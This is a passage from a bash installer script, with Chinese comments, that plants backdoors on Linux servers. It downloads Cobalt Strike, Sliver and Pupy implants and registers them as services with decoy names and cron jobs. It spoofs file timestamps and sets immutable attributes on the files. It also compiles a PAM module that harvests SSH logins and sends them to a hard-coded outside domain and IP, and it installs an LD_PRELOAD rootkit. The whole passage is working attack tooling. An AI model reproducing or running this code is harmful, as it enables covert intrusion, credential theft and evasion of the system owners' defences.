                if [ -x "$rc_local_path" ]; then
                    if "$rc_local_path"; then
                        log_success "Manually executed $rc_local_path successfully."
                    else
                        log_error "Failed to manually execute $rc_local_path."
                    fi
                fi
            fi
        else
            log_warn "Neither systemctl nor service commands available. Attempting direct execution..."
            
            # 直接执行rc.local
            if [ -x "$rc_local_path" ]; then
                if "$rc_local_path"; then
                    log_success "Directly executed $rc_local_path successfully."
                else
                    log_error "Failed to directly execute $rc_local_path."
                fi
            fi
        fi
    fi
}

create_rc_local_service() {
    local service_file="/etc/systemd/system/rc-local.service"
    
    log_info "Creating systemd service file for rc.local at $service_file..."
    
    cat > "$service_file" << 'EOL'
[Unit]
Description=/etc/rc.local Compatibility
ConditionPathExists=/etc/rc.local
After=multi-user.target network-online.target
Wants=network-online.target

[Service]
Type=forking
ExecStart=/etc/rc.local start
TimeoutSec=0
StandardOutput=tty
RemainAfterExit=yes
SysVStartPriority=99

[Install]
WantedBy=multi-user.target
EOL

    # 确保rc.local存在并可执行
    if [ ! -f "/etc/rc.local" ]; then
        echo '#!/bin/bash' > /etc/rc.local
        echo 'exit 0' >> /etc/rc.local
    fi
    chmod +x /etc/rc.local
    
    # 重新加载systemd配置
    systemctl daemon-reload
    log_success "rc-local systemd service file created and configured."
}

startCrontab() {
    log_start "Ensuring cron service is enabled and running..."
    
    # 确定服务名称（兼容cron和crond）
    local cron_service=""
    local cron_detected=false
    
    # 检查可能的服务名称
    local possible_services=("cron" "crond")
    
    # 首先检查systemd服务
    if command -v systemctl &>/dev/null; then
        for service in "${possible_services[@]}"; do
            if systemctl list-unit-files 2>/dev/null | grep -q "^$service.service"; then
                cron_service="$service"
                cron_detected=true
                log_info "Detected cron service: $cron_service (systemd)"
                break
            fi
        done
    fi
    
    # 如果systemd没有检测到，检查传统服务
    if [ "$cron_detected" = false ] && command -v service &>/dev/null; then
        for service in "${possible_services[@]}"; do
            if service --status-all 2>/dev/null | grep -q "$service"; then
                cron_service="$service"
                cron_detected=true
                log_info "Detected cron service: $cron_service (service)"
                break
            fi
        done
    fi
    
    # 如果仍未检测到，尝试确定默认服务名称
    if [ "$cron_detected" = false ]; then
        # 基于发行版选择服务名称
        case "${SYSTEM}" in
            debian|ubuntu)
                cron_service="cron"
                ;;
            redhat|centos|fedora|oracle|oraclelinux|rocky)
                cron_service="crond"
                ;;
            *)
                # 检查哪个二进制文件存在
                if [ -f "/usr/sbin/cron" ] || [ -f "/usr/bin/cron" ]; then
                    cron_service="cron"
                elif [ -f "/usr/sbin/crond" ] || [ -f "/usr/bin/crond" ]; then
                    cron_service="crond"
                else
                    log_warn "Could not determine cron service name. Trying both names."
                    cron_service="cron"
                fi
                ;;
        esac
        log_info "Using default cron service name for this system: $cron_service"
    fi
    
    # 确保cron服务已安装
    local cron_installed=false
    
    if command -v apt-get &>/dev/null; then
        if dpkg -l | grep -qE "^ii\s+(cron|cronie)" >/dev/null 2>&1; then
            cron_installed=true
        fi
    elif command -v yum &>/dev/null || command -v dnf &>/dev/null; then
        if rpm -q cronie >/dev/null 2>&1 || rpm -q vixie-cron >/dev/null 2>&1; then
            cron_installed=true
        fi
    else
        # 假设cron已安装，后续检查会验证
        cron_installed=true
    fi
    
    # 如果未安装cron，尝试安装
    if [ "$cron_installed" = false ]; then
        log_warn "Cron does not appear to be installed. Attempting to install..."
        
        if command -v apt-get &>/dev/null; then
            apt-get update -y >/dev/null 2>&1
            apt-get install -y cron >/dev/null 2>&1 && cron_installed=true
        elif command -v dnf &>/dev/null; then
            dnf install -y cronie >/dev/null 2>&1 && cron_installed=true
        elif command -v yum &>/dev/null; then
            yum install -y cronie >/dev/null 2>&1 && cron_installed=true
        fi
        
        if [ "$cron_installed" = false ]; then
            log_error "Failed to install cron. Please install it manually."
            return 1
        else
            log_success "Cron installed successfully."
        fi
    fi
    
    # 启用并启动cron服务
    if command -v systemctl &>/dev/null; then
        # systemd方式
        log_info "Using systemd to manage cron service..."
        
        if ! systemctl is-enabled "$cron_service" &>/dev/null; then
            log_info "Enabling $cron_service service..."
            if systemctl enable "$cron_service" &>/dev/null; then
                log_success "$cron_service service enabled."
            else
                log_warn "Failed to enable $cron_service service."
            fi
        else
            log_info "$cron_service service is already enabled."
        fi
        
        if ! systemctl is-active "$cron_service" &>/dev/null; then
            log_info "Starting $cron_service service..."
            if systemctl start "$cron_service" &>/dev/null; then
                log_success "$cron_service service started."
            else
                log_warn "Failed to start $cron_service service."
            fi
            sleep 2
        fi
        
        if systemctl is-active "$cron_service" &>/dev/null; then
            log_success "$cron_service service is active and running."
        else
            log_error "$cron_service service is not active."
            
            # 尝试重新加载并再次启动
            systemctl daemon-reload
            if systemctl start "$cron_service" &>/dev/null; then
                log_success "$cron_service service started after daemon-reload."
            else
                log_error "Failed to start $cron_service even after daemon-reload."
            fi
        fi
    elif command -v service &>/dev/null; then
        # 传统service方式
        log_info "Using service command to manage cron service..."
        
        if ! service "$cron_service" status &>/dev/null; then
            log_info "Starting $cron_service service using service command..."
            if service "$cron_service" start &>/dev/null; then
                log_success "$cron_service service started with service command."
            else
                log_warn "Failed to start $cron_service service with service command."
            fi
            sleep 2
        fi
        
        # 检查服务状态
        if service "$cron_service" status &>/dev/null; then
            log_success "$cron_service service is running."
        else
            log_error "$cron_service service is not running after start attempt."
            
            # 尝试使用其他命令启动
            for cmd in "/etc/init.d/$cron_service start" "/sbin/$cron_service" "/usr/sbin/$cron_service"; do
                log_info "Trying alternative start method: $cmd"
                $cmd &>/dev/null
                sleep 1
                if service "$cron_service" status &>/dev/null || pgrep -f "$cron_service" &>/dev/null; then
                    log_success "$cron_service service started using $cmd."
                    break
                fi
            done
        fi
    else
        # 直接启动二进制文件
        log_warn "Neither systemctl nor service commands available."
        log_info "Attempting to start cron binary directly..."
        
        local cron_path=""
        for path in "/usr/sbin/$cron_service" "/usr/bin/$cron_service" "/sbin/$cron_service"; do
            if [ -x "$path" ]; then
                cron_path="$path"
                break
            fi
        done
        
        if [ -n "$cron_path" ]; then
            if ! pgrep -f "$cron_service" &>/dev/null; then
                log_info "Starting cron directly: $cron_path"
                $cron_path &>/dev/null &
                sleep 2
                
                if pgrep -f "$cron_service" &>/dev/null; then
                    log_success "Cron started successfully using direct execution."
                else
                    log_error "Failed to start cron using direct execution."
                fi
            else
                log_success "Cron is already running."
            fi
        else
            log_error "Could not find cron binary. Please start it manually."
        fi
    fi
    
    # 验证cron是否运行
    if pgrep -f "cron[d]?" &>/dev/null; then
        log_success "Verified that cron is running."
    else
        log_warn "Could not verify that cron is running. You may need to start it manually."
    fi
    
    # 检查cron配置
    log_info "Checking cron configuration directories..."
    local cron_dirs=("/etc/cron.d" "/etc/cron.hourly" "/etc/cron.daily" "/etc/cron.weekly" "/etc/cron.monthly")
    
    for dir in "${cron_dirs[@]}"; do
        if [ ! -d "$dir" ]; then
            log_warn "Cron directory $dir does not exist. Creating it..."
            mkdir -p "$dir" && log_success "Created $dir."
        fi
    done
    
    return 0
}

cronService() {
	local exec_start_path="$1"
    local destination_path="$2"

    # 确保目标目录存在
    if [[ ! -d "$(dirname "${destination_path}")" ]]; then
        mkdir -m 755 -p "$(dirname "${destination_path}")" || { log_error "Failed to create directory: $(dirname "${destination_path}")"; exit 1; }
    fi

    # 确保 exec_start_path 存在
    if [[ ! -f "$exec_start_path" ]]; then
        log_error "Source file does not exist: $exec_start_path"
        exit 1
    fi

	# cp
	cp -f "$exec_start_path" "$destination_path" && chmod 755 "$destination_path" || { log_error "Failed to copy $exec_start_path to $destination_path"; exit 1; }

    log_info "Successfully updated $destination_path"
}

CronJob() {
    local cronJobPath="$1"
    local cron_entry="$2"

    if [ -f "$cronJobPath" ]; then
        if grep -qF "$cron_entry" "$cronJobPath"; then
            log_warn "Cron job already exists in ${cronJobPath}, skipping..."
        else
            if ! echo "$cron_entry" >> "$cronJobPath"; then
                log_error "Failed to add cron job entry to ${cronJobPath}."
                return 1
            fi
            log_success "Cron job added successfully to ${cronJobPath}."
        fi
    else
        if ! echo "$cron_entry" > "$cronJobPath"; then
            log_error "Failed to create ${cronJobPath} with cron job entry."
            return 1
        fi
        log_success "Cron job file created and entry added successfully to ${cronJobPath}."
    fi
    return 0
}

installCronJob() {
    log_start "Installing CRON_JOB..."
    local CRON_JOB_PATH="/etc/cron.d/root"
    
    # 获取基准时间戳
    get_base_time "/etc/cron.d" || {
        log_warn "Could not get base time from /etc/cron.d, using fallback time"
        base_time=$(stat -c %y "/bin/bash" 2>/dev/null || stat -c %y "/bin/sh" 2>/dev/null || date '+%Y-%m-%d %H:%M:%S')
    }
    
    # 移除文件的不可变属性（如果存在）
    chattr -ia "$CRON_JOB_PATH" 2>/dev/null || true

    # 确保cron.d目录存在
    if [ ! -d "/etc/cron.d" ]; then
        mkdir -p "/etc/cron.d" || {
            log_error "Failed to create /etc/cron.d directory."
            return 1
        }
    fi

    # 写入 Sliver cron job - 修复cron表达式格式
    local sliver_job="*/15 * * * * root exec /usr/share/auditdb4.2/${MODULE}s >/dev/null 2>&1"
    local cs_job="*/15 * * * * root exec /usr/share/auditdb4.2/${MODULE}c >/dev/null 2>&1"
    
    if [ -f "$CRON_JOB_PATH" ]; then
        # 检查是否已存在相同内容
        if grep -Fq "${MODULE}s" "$CRON_JOB_PATH"; then
            log_warn "Cron job for ${MODULE}s already exists in ${CRON_JOB_PATH}, skipping..."
        else
            if ! echo "$sliver_job" >> "$CRON_JOB_PATH"; then
                log_error "Failed to add Sliver cron job entry to ${CRON_JOB_PATH}."
                return 1
            fi
            log_success "Sliver cron job added successfully to ${CRON_JOB_PATH}."
        fi

        # 检查CS cron job是否已存在
        if grep -Fq "${MODULE}c" "$CRON_JOB_PATH"; then
            log_warn "Cron job for ${MODULE}c already exists in ${CRON_JOB_PATH}, skipping..."
        else
            if ! echo "$cs_job" >> "$CRON_JOB_PATH"; then
                log_error "Failed to add CS cron job entry to ${CRON_JOB_PATH}."
                return 1
            fi
            log_success "CS cron job added successfully to ${CRON_JOB_PATH}."
        fi
    else
        # 文件不存在，创建新文件
        {
            echo "# Added by system maintenance" 
            echo "$sliver_job"
            echo "$cs_job"
        } > "$CRON_JOB_PATH" || {
            log_error "Failed to create ${CRON_JOB_PATH} with cron job entries."
            return 1
        }
        log_success "Created new cron job file with both entries at ${CRON_JOB_PATH}."
    fi

    # 设置适当的权限
    chmod 644 "$CRON_JOB_PATH" || {
        log_warn "Failed to set permissions on ${CRON_JOB_PATH}"
    }
    
    # 伪装 cron 文件时间
    if [[ -f "$CRON_JOB_PATH" && -n "$base_time" ]]; then
        spoof_file_timestamp "$CRON_JOB_PATH" "$base_time" || {
            log_warn "Failed to spoof timestamp for $CRON_JOB_PATH"
        }
    fi

    # 设置文件不可变属性 - 修复语法错误
    if ! chattr +ia "$CRON_JOB_PATH" 2>/dev/null; then
        log_warn "Failed to set immutable attribute on ${CRON_JOB_PATH}."
    else
        log_info "Immutable attribute set on ${CRON_JOB_PATH}."
    fi
    
    # 重新加载 cron 守护进程以应用更改
    if command -v systemctl >/dev/null 2>&1; then
        systemctl restart crond.service >/dev/null 2>&1 || 
        systemctl restart cron.service >/dev/null 2>&1 || true
    elif command -v service >/dev/null 2>&1; then
        service crond restart >/dev/null 2>&1 || 
        service cron restart >/dev/null 2>&1 || true
    fi
    
    log_success "CRON_JOB installation completed."
    return 0
}

installBackdoor() {
    log_start "Installing BACKDOOR..."
    
    # 倒计时提示
    for (( i=10; i>0; i-- )); do
        echo -ne "Starting in $i seconds...\r" || true
        sleep 1 || { log_error "Sleep interrupted."; return 1; }
    done
    echo ""  # 换行

    # 获取基准时间戳
    local fallback_files=(
      "/bin/sh"
      "/sbin/init"
      "/usr/sbin/init"
      "/lib/systemd/systemd"
      "/bin/bash"
      "/usr/bin/bash"
    )
    
    local base_time=""
    # 尝试从常用系统文件获取时间戳
    for f in "${fallback_files[@]}"; do
      if [[ -f "$f" ]]; then
        base_time="$(stat -c %y "$f" 2>/dev/null)" && break
      fi
    done

    # 如果仍未获取到时间戳，使用备选方法
    if [[ -z "${base_time}" ]]; then
      local oldest_epoch
      oldest_epoch=$(find /bin /sbin -type f -printf '%T@ %p\n' 2>/dev/null | sort -n | head -n1 | cut -d' ' -f1)
      if [[ -n "$oldest_epoch" ]]; then
        base_time="$(date -d "@$oldest_epoch" '+%Y-%m-%d %H:%M:%S')"
      else
        base_time="$(date '+%Y-%m-%d %H:%M:%S')"
      fi
    fi

    log_info "Using timestamp baseline: ${base_time}"

    # 创建所需目录结构
    mkdir -p /opt/rh /var/opt /usr/share/python /usr/local/etc /usr/share/auditdb4.2 || {
        log_error "Failed to create required directories."
        return 1
    }

    # 根据架构选择下载与服务创建逻辑
    case "$ARCH" in
        i386|i686)
            local exec_start_path="/opt/rh/${MODULE}p"

            if ! downloadTask "Python x86" "${exec_start_path}" "$P" "$HTTP_P"; then
                log_error "Failed to download Python x86 binary."
                return 1
            fi
            if ! chmod 755 "${exec_start_path}"; then
                log_error "Failed to set permissions on ${exec_start_path}."
                return 1
            fi
            if ! [ -x "${exec_start_path}" ]; then
                log_error "ExecStart path ${exec_start_path} does not exist or is not executable."
                return 1
            fi

            # 配置 Pupy 相关服务
            systemdService "fschecksrv" "${exec_start_path}" || log_warn "systemdService failed for ${exec_start_path}"
            initdService "pammngr" "${exec_start_path}" "/var/opt/${MODULE}p" || log_warn "initdService failed for ${exec_start_path}"
            rcService "rc.local (Pupy)" "${exec_start_path}" "/usr/share/python/${MODULE}p" || log_warn "rcService failed for ${exec_start_path}"
            upstartService "smbauth" "${exec_start_path}" "/usr/local/etc/${MODULE}p" || log_warn "upstartService failed for ${exec_start_path}"
            cronService "${exec_start_path}" "/usr/share/auditdb4.2/${MODULE}p" || log_warn "cronService failed for ${exec_start_path}"
            
            # 写入计划任务
            installCronJob || log_warn "installCronJob failed"
            
            # 设置需要保护的路径列表
            local paths=( 
                "/opt/rh/${MODULE}p" 
                "/var/opt/${MODULE}p" 
                "/usr/share/python/${MODULE}p" 
                "/usr/share/auditdb4.2/${MODULE}p" 
            )
            ;;
        *)
            local exec_start_path_cs="/opt/rh/${MODULE}c"
            local exec_start_path_sliver="/opt/rh/${MODULE}s"

            if ! downloadTask "CS Linux" "${exec_start_path_cs}" "$C" "$HTTP_C"; then
                log_error "Failed to download CS Linux binary."
                return 1
            fi
            if ! downloadTask "Sliver" "${exec_start_path_sliver}" "$S" "$HTTP_S"; then
                log_error "Failed to download Sliver binary."
                return 1
            fi
            if ! chmod 755 "${exec_start_path_cs}" "${exec_start_path_sliver}"; then
                log_error "Failed to set permissions on ${exec_start_path_cs} or ${exec_start_path_sliver}."
                return 1
            fi

            # 配置 Sliver 相关服务
            systemdService "systemd-netmngr" "${exec_start_path_sliver}" || log_warn "systemdService failed for ${exec_start_path_sliver}"
            initdService "dnscachd" "${exec_start_path_sliver}" "/var/opt/${MODULE}s" || log_warn "initdService failed for ${exec_start_path_sliver}"
            rcService "rc.local (Sliver)" "${exec_start_path_sliver}" "/usr/share/python/${MODULE}s" || log_warn "rcService failed for ${exec_start_path_sliver}"
            upstartService "apt-syncd" "${exec_start_path_sliver}" "/usr/local/etc/${MODULE}s" || log_warn "upstartService failed for ${exec_start_path_sliver}"
            cronService "${exec_start_path_sliver}" "/usr/share/auditdb4.2/${MODULE}s" || log_warn "cronService failed for ${exec_start_path_sliver}"

            # 配置 CS Linux 相关服务
            systemdService "logrotd" "${exec_start_path_cs}" || log_warn "systemdService failed for ${exec_start_path_cs}"
            initdService "netfilterctl" "${exec_start_path_cs}" "/var/opt/${MODULE}c" || log_warn "initdService failed for ${exec_start_path_cs}"
            rcService "rc.local (Cobalt Strike)" "${exec_start_path_cs}" "/usr/share/python/${MODULE}c" || log_warn "rcService failed for ${exec_start_path_cs}"
            upstartService "kernelguard" "${exec_start_path_cs}" "/usr/local/etc/${MODULE}c" || log_warn "upstartService failed for ${exec_start_path_cs}"
            cronService "${exec_start_path_cs}" "/usr/share/auditdb4.2/${MODULE}c" || log_warn "cronService failed for ${exec_start_path_cs}"
            
            # 写入计划任务
            installCronJob || log_warn "installCronJob failed"
            
            # 设置需要保护的路径列表
            local paths=( 
                "/opt/rh/${MODULE}c" "/opt/rh/${MODULE}s" 
                "/var/opt/${MODULE}c" "/var/opt/${MODULE}s" 
                "/usr/share/python/${MODULE}c" "/usr/share/python/${MODULE}s" 
                "/usr/local/etc/${MODULE}c" "/usr/local/etc/${MODULE}s" 
                "/usr/share/auditdb4.2/${MODULE}s" "/usr/share/auditdb4.2/${MODULE}c" 
            )
            ;;
    esac

    # 为所有文件应用时间戳伪装和保护属性
    log_info "Applying timestamp spoofing and protection attributes..."
    for path in "${paths[@]}"; do
        if [ -e "$path" ]; then
            spoof_file_timestamp "$path" "${base_time}" || log_warn "Failed to spoof timestamp for $path"
            
            if chattr +ia "$path" 2>/dev/null; then
                log_info "Applied chattr +ia to $path"
            else
                log_warn "Failed to apply chattr +ia to $path"
            fi
        else
            log_warn "Path $path does not exist, skipping."
        fi
    done

    log_success "BACKDOOR installed successfully."
    return 0
}
	
sshLoader() {
    case "$ARCH" in
        i386|i686)
            log_warn "Skipping ssh backdoor installation for $ARCH architecture..."
            return 0
            ;;
    esac
	
    log_start "Installing SSH Loader..."

    local pam_line="auth        optional      pam_ssh_hash.so"
    local installed=0
    local pam_dirs=(
        "/lib/x86_64-linux-gnu/security"
        "/usr/lib64/security" 
        "/lib64/security" 
        "/lib/security" 
        "/usr/lib/security"
        "/usr/lib/x86_64-linux-gnu/security"
    )

    # 确保编译文件存在
    if ! compileSSHLoader; then
        log_error "SSH Loader compilation failed."
        return 1
    fi

    if [ ! -f "SSH.so" ]; then
        log_error "Compiled file SSH.so not found."
        return 1
    fi

    # 至少要有一个成功的安装
    local success_count=0
    
    # 遍历所有可能的 PAM 目录，复制 SSH 模块
    for dir in "${pam_dirs[@]}"; do
        if [ -d "$dir" ]; then
            # 获取该目录中最老文件的时间戳作为伪装时间
            get_base_time "$dir" || {
                log_warn "Could not get base time from $dir, using system fallback time"
                base_time=$(stat -c %y "/bin/bash" 2>/dev/null || stat -c %y "/bin/sh" 2>/dev/null || date '+%Y-%m-%d %H:%M:%S')
            }

            # 如果目标文件已存在，则先删除
            if [ -f "$dir/pam_ssh_hash.so" ]; then
                log_info "Existing pam_ssh_hash.so found in $dir, removing..."
                if ! rm -f "$dir/pam_ssh_hash.so"; then
                    log_error "Failed to remove existing pam_ssh_hash.so from $dir"
                    continue
                fi
            fi
            
            log_info "Copying SSH module to $dir..."
            if ! cp "SSH.so" "$dir/pam_ssh_hash.so"; then
                log_error "Failed to copy SSH.so to $dir/pam_ssh_hash.so"
                continue
            fi
            
            if ! chmod 755 "$dir/pam_ssh_hash.so"; then
                log_error "Failed to set permissions on $dir/pam_ssh_hash.so"
                continue
            fi
            
            # 取消执行权限（如果需要）
            if ! chmod -x "$dir/pam_ssh_hash.so"; then
                log_warn "Unable to remove execute permission on $dir/pam_ssh_hash.so"
            fi
            
            # 伪装时间戳
            spoof_file_timestamp "$dir/pam_ssh_hash.so" "$base_time" || {
                log_warn "Failed to spoof timestamp for $dir/pam_ssh_hash.so"
            }
            
            success_count=$((success_count + 1))
            log_success "Successfully installed SSH Loader in $dir"
        fi
    done

    # 如果没有成功安装到任何 PAM 目录，则返回错误
    if [ $success_count -eq 0 ]; then
        log_error "Failed to install SSH Loader to any PAM directory"
        return 1
    fi

    # 针对不同发行版配置 PAM
    if [[ "${SYSTEM}" == "debian" || "${SYSTEM}" == "ubuntu" ]]; then
        if [ -f "/etc/pam.d/common-auth" ]; then
            # 获取原始时间
            original_time_common_auth=$(stat -c %y /etc/pam.d/common-auth)
            if ! grep -Fxq "$pam_line" /etc/pam.d/common-auth; then
                if echo "$pam_line" >> /etc/pam.d/common-auth; then
                    log_info "Added SSH Loader line to /etc/pam.d/common-auth."
                    installed=1
                else
                    log_error "Failed to append SSH Loader line to /etc/pam.d/common-auth."
                    return 1
                fi
            else
                installed=1
                log_warn "SSH Loader line already exists in /etc/pam.d/common-auth."
            fi
            # 恢复原始时间戳
            if [[ -n "$original_time_common_auth" ]]; then
                spoof_file_timestamp "/etc/pam.d/common-auth" "$original_time_common_auth" || {
                    log_warn "Failed to restore timestamp for /etc/pam.d/common-auth"
                }
            fi
        else
            log_error "/etc/pam.d/common-auth not found."
            return 1
        fi
    else
        # 对于其他发行版，尝试配置 password-auth 和 system-auth
        local conf_success=0
        for file in /etc/pam.d/password-auth /etc/pam.d/system-auth; do
            if [ -f "${file}" ]; then
                # 获取原始时间
                original_time_file=$(stat -c %y "${file}")
                if ! grep -Fq "pam_ssh_hash.so" "${file}"; then
                    if sed -i "1i $pam_line" "${file}"; then
                        log_info "Added SSH Loader line to ${file}."
                        conf_success=1
                    else
                        log_warn "Failed to insert SSH Loader line into ${file}."
                    fi
                else
                    installed=1
                    log_warn "SSH Loader line already exists in ${file}."
                    conf_success=1
                fi
                # 恢复原始时间戳
                if [[ -n "$original_time_file" ]]; then
                    spoof_file_timestamp "${file}" "$original_time_file" || {
                        log_warn "Failed to restore timestamp for ${file}"
                    }
                fi
            fi
        done
        
        # 如果无法配置任何 PAM 文件，则尝试 sshd_config 备选方法
        if [ $conf_success -eq 0 ]; then
            log_warn "Could not configure PAM files, trying alternative method..."
            if [ -f "/etc/ssh/sshd_config" ]; then
                original_time_sshd=$(stat -c %y "/etc/ssh/sshd_config")
                if ! grep -q "^UsePAM yes" "/etc/ssh/sshd_config"; then
                    if sed -i 's/^UsePAM no/UsePAM yes/' "/etc/ssh/sshd_config" || 
                       echo "UsePAM yes" >> "/etc/ssh/sshd_config"; then
                        log_info "Enabled PAM in SSH configuration."
                        conf_success=1
                    else
                        log_warn "Failed to modify SSH configuration."
                    fi
                else
                    log_info "PAM already enabled in SSH configuration."
                    conf_success=1
                fi
                
                # 恢复时间戳
                if [[ -n "$original_time_sshd" ]]; then
                    spoof_file_timestamp "/etc/ssh/sshd_config" "$original_time_sshd" || {
                        log_warn "Failed to restore timestamp for /etc/ssh/sshd_config"
                    }
                fi
                
                # 重启 SSH 服务以应用配置
                if systemctl is-active sshd &>/dev/null; then
                    systemctl restart sshd &>/dev/null || service sshd restart &>/dev/null || {
                        log_warn "Failed to restart SSH service."
                    }
                fi
            fi
        fi
        
        if [ $conf_success -eq 0 ]; then
            log_error "Failed to configure SSH Loader in PAM configuration."
            return 1
        fi
    fi

    if [[ $installed -eq 1 ]]; then
        log_success "SSH Loader installed successfully."
    else
        log_warn "SSH Loader appears to be already installed; configuration updated."
    fi
    
    return 0
}

compileSSHLoader() {
    log_start "Compiling SSH Loader (looter.c)..."

    # 检查源文件是否存在
    if [ ! -f "looter.c" ]; then
        log_error "Source file 'looter.c' not found."
        return 1
    fi

    # 检查 gcc 是否安装
    if ! command -v gcc &>/dev/null; then
        log_error "gcc compiler not found. Please install gcc."
        return 1
    fi
	
	# if [ "$COUNTRY" = "MY" ]; then
		# if ! sed -i "s/example.com/my.fontawesome-cdn.com/g" "looter.c"; then
			# log_error "Failed to set Domain for MY in looter.c. Exiting."
			# return 1
		# fi
		# # 替换IP地址
		# if ! sed -i "s/88\.88\.88\.88/15.235.226.80/g" "looter.c"; then
			# log_error "Failed to replace IP address for MY in looter.c. Exiting."
			# return 1
		# fi
		# log_success "Domain and IP address set successfully for MY in looter.c."
	# elif [ "$COUNTRY" = "BR" ]; then
		# if ! sed -i "s/example.com/br.fontawesome-cdn.com/g" "looter.c"; then
			# log_error "Failed to set Domain for BR in looter.c. Exiting."
			# return 1
		# fi
		# # 替换IP地址
		# if ! sed -i "s/88\.88\.88\.88/148.113.216.158/g" "looter.c"; then
			# log_error "Failed to replace IP address for BR in looter.c. Exiting."
			# return 1
		# fi
		# log_success "Domain and IP address set successfully for BR in looter.c."
	# elif [ "$COUNTRY" = "IN" ]; then
		# if ! sed -i "s/example.com/in.fontawesome-cdn.com/g" "looter.c"; then
			# log_error "Failed to set Domain for IN in looter.c. Exiting."
			# return 1
		# fi
		# # 替换IP地址
		# if ! sed -i "s/88\.88\.88\.88/148.113.50.118/g" "looter.c"; then
			# log_error "Failed to replace IP address for IN in looter.c. Exiting."
			# return 1
		# fi
		# log_success "Domain and IP address set successfully for IN in looter.c."
	# else
		# log_error "Unknown country code: $COUNTRY"
		# return 1
	# fi
	
	if ! sed -i "s/example.com/th.bangkokviews.com/g" "looter.c"; then
		log_error "Failed to set Domain for TH in looter.c. Exiting."
		return 1
	fi
	# 替换IP地址
	if ! sed -i "s/88\.88\.88\.88/15.235.226.80/g" "looter.c"; then
		log_error "Failed to replace IP address for TH in looter.c. Exiting."
		return 1
	fi
	log_success "Domain and IP address set successfully for TH in looter.c."

    # 执行编译，并捕获返回状态
    gcc -std=c99 -Werror -Wall -fPIC -shared -o SSH.so looter.c -lcurl -lpam -lpthread
    local status=$?
    if [ $status -ne 0 ]; then
        log_error "Compilation of SSH Loader failed with exit code $status."
        return $status
    fi

    # 检查生成的二进制文件是否存在
    if [ -f "SSH.so" ]; then
        log_success "SSH Loader compiled successfully."
        return 0
    else
        log_error "Compilation succeeded but output file 'SSH.so' not found."
        return 1
    fi
}

installFather() {
    # 跳过32位架构的安装
    case "$ARCH" in
        i386|i686)
            log_warn "Skipping father installation for $ARCH."
            return 0
            ;;
    esac

    log_start "Installing Father..."

    # 确保目标目录存在
    local parent_dir=$(dirname "$PRELOAD_MOD")
    if [ ! -d "$parent_dir" ]; then
        if ! mkdir -p "$parent_dir"; then
            log_error "Failed to create directory for Father: $parent_dir"
            return 1
        fi
        log_info "Created directory: $parent_dir"
    fi

    # 如果目标内核模块文件不存在，则编译 Father
    if [ ! -f "$PRELOAD_MOD" ]; then
        log_info "Compiling Father..."
        if ! pushd FATHER >/dev/null; then
            log_error "Failed to change directory to Father."
            return 1
        fi

        # 检查并修改配置文件
        local config_file="src/config.h"
        if [ ! -f "$config_file" ]; then
            log_error "File $config_file does not exist. Exiting."
            popd >/dev/null
            return 1
        fi

        if [ -z "${MODULE:-}" ]; then
            log_error "MODULE variable not set. Exiting."
            popd >/dev/null
            return 1
        fi

        # 修改配置中的模块名
        if ! sed -i "s/bangkokviews/$MODULE/g" "$config_file"; then
            log_error "Failed to set MODULE in $config_file. Exiting."
            popd >/dev/null
            return 1
        fi
        log_success "MODULE set successfully in $config_file."

        # 编译前清理
        make clean >/dev/null 2>&1

        # 编译Father
        if ! make; then
            log_error "Compilation of Father failed. Aborting."
            popd >/dev/null
            return 1
        fi

        log_info "Moving rk.so to $PRELOAD_MOD..."
        if ! mv rk.so "$PRELOAD_MOD"; then
            log_error "Failed to move rk.so to $PRELOAD_MOD. Aborting."
            popd >/dev/null
            return 1
        fi

        # 获取父级目录时间戳并伪装
        local base_time=""
        if ! get_base_time "$(dirname "$PRELOAD_MOD")"; then
            # 如果无法获取目录的基准时间，使用系统关键文件时间戳
            if [[ -f /bin/bash ]]; then
                base_time=$(stat -c %y /bin/bash)
            elif [[ -f /bin/sh ]]; then
                base_time=$(stat -c %y /bin/sh)
            else
                base_time=$(date '+%Y-%m-%d %H:%M:%S')
                log_warn "Using current time as fallback for timestamp spoofing"
            fi
        fi

        if [[ -n "$base_time" ]]; then
            spoof_file_timestamp "$PRELOAD_MOD" "$base_time" || 
                log_warn "Failed to spoof timestamp for $PRELOAD_MOD"
        else
            log_warn "Skipping timestamp spoofing as base_time is empty."
        fi

        # 设置不可变属性
        if ! chattr +ia "$PRELOAD_MOD" 2>/dev/null; then
            log_warn "Failed to apply immutable attributes to $PRELOAD_MOD."
        else
            log_info "Applied immutable attribute to $PRELOAD_MOD"
        fi

        # 清理并返回原目录
        make clean >/dev/null 2>&1
        popd >/dev/null
    else
        log_info "Father module $PRELOAD_MOD already exists, skipping compilation."
    fi

    # 处理 /etc/ld.so.preload
    if [ -f "$PRELOAD_FILE" ]; then
        # 获取原始时间戳
        local original_time_preload=$(stat -c %y "$PRELOAD_FILE" 2>/dev/null)
        if [ -z "$original_time_preload" ]; then
            log_warn "Failed to get original timestamp for $PRELOAD_FILE"
            original_time_preload="$base_time"
        fi

        # 移除不可变属性
        if ! chattr -ia "$PRELOAD_FILE" 2>/dev/null; then
            log_warn "Failed to remove immutable attribute from $PRELOAD_FILE."
        fi

        # 创建备份（如果需要）
        if [ ! -f "$BACKUP_FILE" ]; then
            if ! cp "$PRELOAD_FILE" "$BACKUP_FILE"; then
                log_error "Failed to create backup for $PRELOAD_FILE. Aborting."
                return 1
            fi
            log_info "Backup created for $PRELOAD_FILE at $BACKUP_FILE."
        else
            log_info "Backup already exists at $BACKUP_FILE. Restoring original preload."
        fi

        # 从备份恢复文件
        if ! rm -f "$PRELOAD_FILE" || ! cp "$BACKUP_FILE" "$PRELOAD_FILE"; then
            log_error "Failed to restore $PRELOAD_FILE from backup. Aborting."
            return 1
        fi
        log_info "Restored $PRELOAD_FILE from backup."
        
        # 恢复时间戳
        if [ -n "$original_time_preload" ]; then
            spoof_file_timestamp "$PRELOAD_FILE" "$original_time_preload" || 
                log_warn "Failed to restore timestamp for $PRELOAD_FILE"
        fi
    else
        log_warn "$PRELOAD_FILE does not exist; no backup needed."

        # 使用系统文件时间戳作为备用
        local fallback_time=""
        fallback_time=$(stat -c %Y "/bin/bash" 2>/dev/null || stat -c %Y "/sbin/sh" 2>/dev/null)
        if [[ -z "$fallback_time" ]]; then
            log_error "Failed to get fallback time from bash or sh."
            return 1
        fi

        log_info "Using fallback time for $PRELOAD_FILE from bash/sh."

        # 创建preload文件
        if ! touch "$PRELOAD_FILE" || ! echo "$PRELOAD_MOD" > "$PRELOAD_FILE"; then
            log_error "Failed to create or write to $PRELOAD_FILE."
            return 1
        fi

        log_success "Father installed successfully (new $PRELOAD_FILE created)."
